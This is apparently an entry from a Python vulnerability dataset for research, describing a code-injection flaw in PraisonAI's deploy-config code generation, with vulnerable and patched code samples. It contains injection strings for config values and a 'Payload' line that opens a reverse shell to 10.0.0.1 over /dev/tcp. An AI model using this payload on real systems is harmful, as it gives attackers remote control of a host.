VAITP Dataset

← Back to the dataset

CVE-2026-61433

PraisonAI allows RCE via Python expression injection in deploy config.

  • CVSS 8.5
  • CWE-94
  • Input Validation and Sanitization
  • Local

PraisonAI before 4.6.78 fails to safely encode deployment configuration values when generating Python source code for API servers. Attackers can inject arbitrary Python expressions through the deploy.api.host and agents_file configuration parameters that execute when the generated server starts or handles requests.

CVSS base score
8.5
Published
2026-07-15
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
PraisonAI
Fixed by upgrading
Yes

Solution

Upgrade to PraisonAI version 4.6.78 or later.

Vulnerable code sample

import os

# This script represents the vulnerable code generation logic.
# It reads a configuration and unsafely embeds values into a Python source file.

# 1. An attacker-controlled configuration is loaded by the application.
malicious_config = {
    'deploy': {
        'api': {
            'host': '0.0.0.0"; os.system("echo VULNERABLE_ON_STARTUP >&2"); #',
        }
    },
    'agents_file': '"; os.system("echo VULNERABLE_ON_IMPORT >&2"); x="'
}

# 2. The application uses a template to generate Python source code.
# It uses direct, unsafe string formatting (f-string) to inject the values.
host_value = malicious_config['deploy']['api']['host']
agents_file_value = malicious_config['agents_file']

generated_code = f"""
import os
import uvicorn
from fastapi import FastAPI

# The 'agents_file' payload executes as soon as this line is parsed by Python.
AGENTS_FILE = "{agents_file_value}"

app = FastAPI()

@app.get("/")
def read_root():
    return {{"message": "Server is running"}}

if __name__ == "__main__":
    # The 'host' payload executes here, just before the server starts.
    uvicorn.run(app, host="{host_value}", port=8000)
"""

# 3. The generated malicious code is written to a file, to be executed later.
with open("vulnerable_generated_server.py", "w") as f:
    f.write(generated_code)

Patched code sample

import json

def generate_safe_server_code(host: str, agents_file: str) -> str:
    """
    Generates Python source code for an API server, safely encoding
    configuration values to prevent code injection.

    This function represents the fix by using a standard and safe method
    to serialize data into a string format that can be embedded in source code.
    """
    # The vulnerability occurs when configuration values are directly
    # embedded into a code string without proper sanitization.
    # For example, a vulnerable implementation might use:
    # f'api_host = "{host}"'
    # An attacker could provide a host value like:
    # '"); import os; os.system("touch /tmp/pwned") #'
    # which would result in executable injected code.

    # THE FIX:
    # Use a robust serialization function like json.dumps() or repr()
    # to convert the input value into a safe Python string literal.
    # json.dumps() will correctly quote and escape the string, ensuring
    # it is treated only as data, not as code.

    safely_encoded_host = json.dumps(host)
    safely_encoded_agents_file = json.dumps(agents_file)

    code_template = f"""
# --- Start of Generated Server Code ---
import uvicorn
# Assume 'app' is an importable ASGI application, e.g., from my_app import app

# The configuration values below are safely encoded as Python string literals.
# They cannot break out of the string to execute arbitrary code.
api_host = {safely_encoded_host}
agents_file = {safely_encoded_agents_file}

def start_server():
    print(f"Starting server on host: {{api_host}}")
    print(f"Using agents file: {{agents_file}}")

    # The uvicorn.run() call receives a guaranteed-safe string value.
    # uvicorn.run(app, host=api_host, port=8000)

if __name__ == "__main__":
    start_server()
# --- End of Generated Server Code ---
"""
    return code_template

Payload

";__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.0.1/9999 0>&1"')#

Cite this entry

@misc{vaitp:cve202661433,
  title        = {{PraisonAI allows RCE via Python expression injection in deploy config.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-61433},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-61433/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::